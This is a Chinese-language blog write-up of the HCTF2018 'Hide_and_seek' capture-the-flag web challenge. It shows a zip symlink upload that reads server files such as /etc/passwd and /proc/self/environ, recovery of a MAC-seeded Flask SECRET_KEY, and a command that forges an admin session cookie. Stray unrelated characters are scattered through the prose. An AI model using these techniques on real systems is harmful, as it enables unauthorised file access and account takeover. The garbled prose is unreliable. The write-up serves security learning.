title: HCTF2018-Hide_and_seek
date: 2019-06-03 16:11:18
tags:
- HCTF2018
- CTF復(fù)現(xiàn)
- flask session偽造
categories:
- CTF
- HCTF2018
HCTF2018 Web題 Hide_and_seek 復(fù)現(xiàn)
前言
今天復(fù)現(xiàn)一下HCTF2018里的Hide_and_seek。先貼一下docker github地址
https://github.com/m0xiaoxi/CTF_Web_docker/tree/master/HCTF2018/Hideandseek
部署完之后蛋叼,還有點小問題眼俊,需要解決下妈经,首先是上傳文件存放在./uploads文件夾下,這個鏡像里沒有疟丙,所以要自己在app目錄下建一個uploads文件夾鸵赫。然后是DockerFile需要改下航邢,加上一行內(nèi)容ENV UWSGI_INI /app/it_is_hard_t0_guess_the_path_but_y0u_find_it_5f9s5b5s9.ini
審題
環(huán)境部署好后,點擊題目去溯革,如下圖
隨便點點贞绳,發(fā)現(xiàn)只有登錄功能有用,沒有注冊功能致稀,簡單測試一下登錄功能冈闭,發(fā)現(xiàn)隨便輸用戶名和密碼,都能以輸入的用戶名登錄抖单,除了admin之外萎攒。登錄之后,來到一個上傳頁面矛绘。
上傳頁面說讓上傳zipfile耍休,于是隨便壓縮一個
1.txt
文件,1.txt
文件里內(nèi)容為Miracle778 test
货矮。然后上傳這個zip包羊精,然后網(wǎng)頁回顯如下圖,網(wǎng)站把上傳的zip里的文件解壓了囚玫,然后輸出园匹。于是理所當(dāng)然的就聯(lián)想能不能用zip去讀非本地文件呢? 答案是肯定的雳刺,我們可以壓縮一個軟鏈接,類似于windows下的快捷方式裸违,然后網(wǎng)站后臺會解壓讀取該軟鏈接指向的服務(wù)器上的文件掖桦,就能達到讀取任意文件的效果。例如我們使用ln -s /etc/passwd passwd
命令生成一個指向/etc/passwd
文件的軟鏈接供汛,然后用zip -y passwd.zip passwd
命令壓縮枪汪,然后上傳,結(jié)果如下圖怔昨,成功讀取雀久。
上面發(fā)現(xiàn)一個任意文件讀取漏洞,我們可以與前面
admin
不能登錄聯(lián)系一下趁舀,猜測這里可能是要用軟鏈接讀取相關(guān)文件使得可以用admin身份登錄或者是直接讀flag文件赖捌。不過后者應(yīng)該幾率不大,因為如果能直接讀flag文件的話矮烹,那前面設(shè)置admin不讓登錄就沒有那個必要越庇。所以,大概率是讀取跟admin相關(guān)的文件奉狈,然后以admin身份登錄出flag卤唉,那么跟admin相關(guān)的文件有什么呢,密碼文件肯定不是的仁期,因為這個登錄就沒用到密碼桑驱,沒用到數(shù)據(jù)庫,那既然沒用到數(shù)據(jù)庫跛蛋,程序怎么知道登錄用戶身份呢熬的,只能是通過session或cookie。于是看一下頁面cookie信息赊级,session=eyJ1c2VybmFtZSI6Ik1pcmFjbGU3NzgifQ.D9ZqoQ.55S3MNA12PX-uvm9ELiK4O9Uie0
悦析,很像flask的session信息,于是用腳本解密一下此衅,發(fā)現(xiàn)還真是flask的session强戴,內(nèi)容為{'username':'Miracle778'}
。
到這里思路就大致清晰了挡鞍,我們要用到上傳zipfile讀取到SECRET_KEY
骑歹,然后偽造admin的session進行登錄。
做題
上面把思路理的差不多了墨微,現(xiàn)在就是做題了道媚。這里首先要解決的就是文件路徑的問題,我們不知道服務(wù)器上有哪些文件,就無法生成軟鏈接進行讀取谴分。所以這里還考了linux的一些知識 —— linux一些危險系統(tǒng)文件路徑。
這里我也就不做分析了牺蹄,我也是看wp來的,這里主要用到了linux的/proc
目錄沙兰,參考文章:https://www.cnblogs.com/DswCnblog/p/5780389.html。
/proc是一種偽文件系統(tǒng)(也即虛擬文件系統(tǒng))鼎天,存儲的是當(dāng)前內(nèi)核運行狀態(tài)的一系列特殊文件,用戶可以通過這些文件查看有關(guān)系統(tǒng)硬件及當(dāng)前正在運行進程的信息斋射,甚至可以通過更改其中某些文件來改變內(nèi)核的運行狀態(tài)。
我們這里用到的是/proc/self/environ
environ是 — 當(dāng)前進程的環(huán)境變量列表但荤,self可以替換成進程號罗岖。
我們生成/proc/self/environ
的軟鏈接,壓縮后上傳纱兑,得到flask的環(huán)境變量呀闻,簡單整理下放在下面化借。
HOSTNAME=7ba9b7bc961a
SHLVL=1
PYTHON_PIP_VERSION=19.1.1
HOME=/root
GPG_KEY=0D96DF4D4110E5C43FBFB17F2D347EA6AA65421D
UWSGI_INI=/app/it_is_hard_t0_guess_the_path_but_y0u_find_it_5f9s5b5s9.ini
WERKZEUG_SERVER_FD=3
NGINX_MAX_UPLOAD=0
UWSGI_PROCESSES=16
STATIC_URL=/
static_=/usr/local/bin/python
UWSGI_CHEAPER=2
WERKZEUG_RUN_MAIN=true
NGINX_VERSION=1.15.8-1~
stretchPATH=/usr/local/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
NJS_VERSION=1.15.8.0.2.7-1~
stretchLANG=C.UTF-8
PYTHON_VERSION=3.6.8
NGINX_WORKER_PROCESSES=1
LISTEN_PORT=80
STATIC_INDEX=0
PWD=/app
PYTHONPATH=/app
STATIC_PATH=/app/static
掃一眼過去潜慎,能夠發(fā)現(xiàn)一項UWSGI_INI
,以INI結(jié)尾蓖康,應(yīng)該是個配置文件铐炫,網(wǎng)上搜索一下,結(jié)果放在了下面蒜焊。
uWSGI是一個Web應(yīng)用服務(wù)器倒信,它具有應(yīng)用服務(wù)器,代理泳梆,進程管理及應(yīng)用監(jiān)控等功能鳖悠。它支持WSGI協(xié)議,同時它也支持自有的uWSGI協(xié)議优妙,
然后再看到這一項的值it_is_hard_t0_guess_the_path_but_y0u_find_it_5f9s5b5s9.ini乘综,這樣看來,這個文件必有問題套硼,于是構(gòu)造軟鏈接卡辰,生成zip,上傳讀取。
得到/app/it_is_hard_t0_guess_the_path_but_y0u_find_it_5f9s5b5s9.ini
文件內(nèi)容如下九妈。
[uwsgi]
module = hard_t0_guess_n9f5a95b5ku9fg.hard_t0_guess_also_df45v48ytj9_main
callable=app
logto = /tmp/hard_t0_guess_n9p2i5a6d1s_uwsgi.log
簡單搜一下反砌,就能明白module、callable選項的含義萌朱。于是可知main.py源碼路徑為
/app/hard_t0_guess_n9f5a95b5ku9fg/hard_t0_guess_also_df45v48ytj9_main.py
然后就是讀取該文件源碼宴树,構(gòu)造軟鏈接、生成zip包嚷兔,上傳得文件內(nèi)容
# -*- coding: utf-8 -*-
from flask import Flask,session,render_template,redirect, url_for, escape, request,Response
import uuid
import base64
import random
import flag
from werkzeug.utils import secure_filename
import os
random.seed(uuid.getnode())
app = Flask(__name__)
app.config['SECRET_KEY'] = str(random.random()*100)
app.config['UPLOAD_FOLDER'] = './uploads'
app.config['MAX_CONTENT_LENGTH'] = 100 * 1024
ALLOWED_EXTENSIONS = set(['zip'])
def allowed_file(filename):
return '.' in filename and \
filename.rsplit('.', 1)[1].lower() in ALLOWED_EXTENSIONS
@app.route('/', methods=['GET'])
def index():
error = request.args.get('error', '')
if(error == '1'):
session.pop('username', None)
return render_template('index.html', forbidden=1)
if 'username' in session:
return render_template('index.html', user=session['username'], flag=flag.flag)
else:
return render_template('index.html')
@app.route('/login', methods=['POST'])
def login():
username=request.form['username']
password=request.form['password']
if request.method == 'POST' and username != '' and password != '':
if(username == 'admin'):
return redirect(url_for('index',error=1))
session['username'] = username
return redirect(url_for('index'))
@app.route('/logout', methods=['GET'])
def logout():
session.pop('username', None)
return redirect(url_for('index'))
@app.route('/upload', methods=['POST'])
def upload_file():
if 'the_file' not in request.files:
return redirect(url_for('index'))
file = request.files['the_file']
if file.filename == '':
return redirect(url_for('index'))
if file and allowed_file(file.filename):
filename = secure_filename(file.filename)
file_save_path = os.path.join(app.config['UPLOAD_FOLDER'], filename)
if(os.path.exists(file_save_path)):
return 'This file already exists'
file.save(file_save_path)
else:
return 'This file is not a zipfile'
try:
extract_path = file_save_path + '_'
os.system('unzip -n ' + file_save_path + ' -d '+ extract_path)
read_obj = os.popen('cat ' + extract_path + '/*')
file = read_obj.read()
read_obj.close()
os.system('rm -rf ' + extract_path)
except Exception as e:
file = None
os.remove(file_save_path)
if(file != None):
if(file.find(base64.b64decode('aGN0Zg==').decode('utf-8')) != -1):
return redirect(url_for('index', error=1))
return Response(file)
if __name__ == '__main__':
#app.run(debug=True)
app.run(host='0.0.0.0', debug=True, port=10008)
看到代碼第29行森渐,可以知道flag是藏在/app/flag.py
文件里,想著是不是可以生成下軟鏈接直接讀取呢冒晰,后面測試同衣,發(fā)現(xiàn)還是提示you are not admin
然后重定向到index頁面,原來是第79行處壶运,執(zhí)行了一個判斷,如果通過上傳的zip打開的文件里面有含有hctf的話埠况,就會重定向到index?error=1
頁面,所以這條路是行不通的辕翰,對應(yīng)了前面我的分析喜命。
所以只能通過找SECRET_KEY
這個方法了河劝,我們看到第11行 app.config['SECRET_KEY'] = str(random.random()*100)
赎瞎,SECRET_KEY居然等于一個隨機數(shù)字字符串,這就有點懵了牡辽,難道每次SECRET_KEY能不一樣态辛,這也tm行嗎哟绊。痰憎。后面發(fā)現(xiàn)铣耘,原來在這行代碼之前第9行處蜗细,有一個random.seed(uuid.getnode())
怒详,設(shè)置隨機數(shù)種子操作。我們知道吊骤,python random生成的數(shù)不是真正的隨機數(shù)白粉,而是偽隨機數(shù)鼠渺,利用偽隨機數(shù)的特性,只要種子是一樣的鹃祖,后面產(chǎn)生的隨機數(shù)值也是一致的恬口。
于是我們把注意力放到這里的偽隨機數(shù)種子楷兽,uuid.getnode()
华临,通過查詢可以知道端考,這個函數(shù)可以獲取網(wǎng)卡mac地址并轉(zhuǎn)換成十進制數(shù)返回却特。也就是說,只要搞到服務(wù)器的網(wǎng)卡mac地址椿浓,就能確定種子扳碍,進而確定SECRET_KEY
,那服務(wù)器網(wǎng)卡mac地址又怎么獲得呢碱蒙?
我們知道有一句話叫赛惩,linux中一切皆文件
趁餐,沒錯后雷,網(wǎng)卡mac地址也能在文件中找到⌒邱可以通過讀/sys/class/net/eth0/address
文件得到mac地址琳状,于是構(gòu)造軟鏈接盒齿、生成zip边翁、上傳看返回結(jié)果,如下圖叨咖,得到服務(wù)器mac地址為:02:42:ac:15:00:02
甸各。然后就是把mac地址處理下焰坪,轉(zhuǎn)換成10進制,然后設(shè)置成seed儒恋,生成一下SECRET_KEY。腳本如下
import uuid
import random
mac = "02:42:ac:15:00:02"
temp = mac.split(':')
temp = [int(i,16) for i in temp]
temp = [bin(i).replace('0b','').zfill(8) for i in temp]
temp = ''.join(temp)
mac = int(temp,2)
random.seed(mac)
randStr = str(random.random()*100)
print(randStr) #結(jié)果為 97.9970136622037
得到SECRET_KEY:97.9970136622037
然后調(diào)用我在上一篇文章中提到的flask_session_manager腳本涂邀,生成admin的session比勉。
運行
python flask_session_manager.py ncode -s '97.9970136622037' -t "{'username':'admin'}"
得到
eyJ1c2VybmFtZSI6ImFkbWluIn0.XPTz5A.F7MvChr04yrat31KWqstSRC_dZs
用新生成的session浩聋,替換掉之前的衣洁,即可得到flag抖仅。
總結(jié)
通過這個題目了解了linux下面一些系統(tǒng)文件的含義撤卢。一切皆文件
參考
https://www.kingkk.com/2018/11/hctf2018-web-writeup/#%E4%B8%80%E5%88%87%E7%9A%86%E6%96%87%E4%BB%B6
http://momomoxiaoxi.com/ctf/2018/11/12/HCTF2018/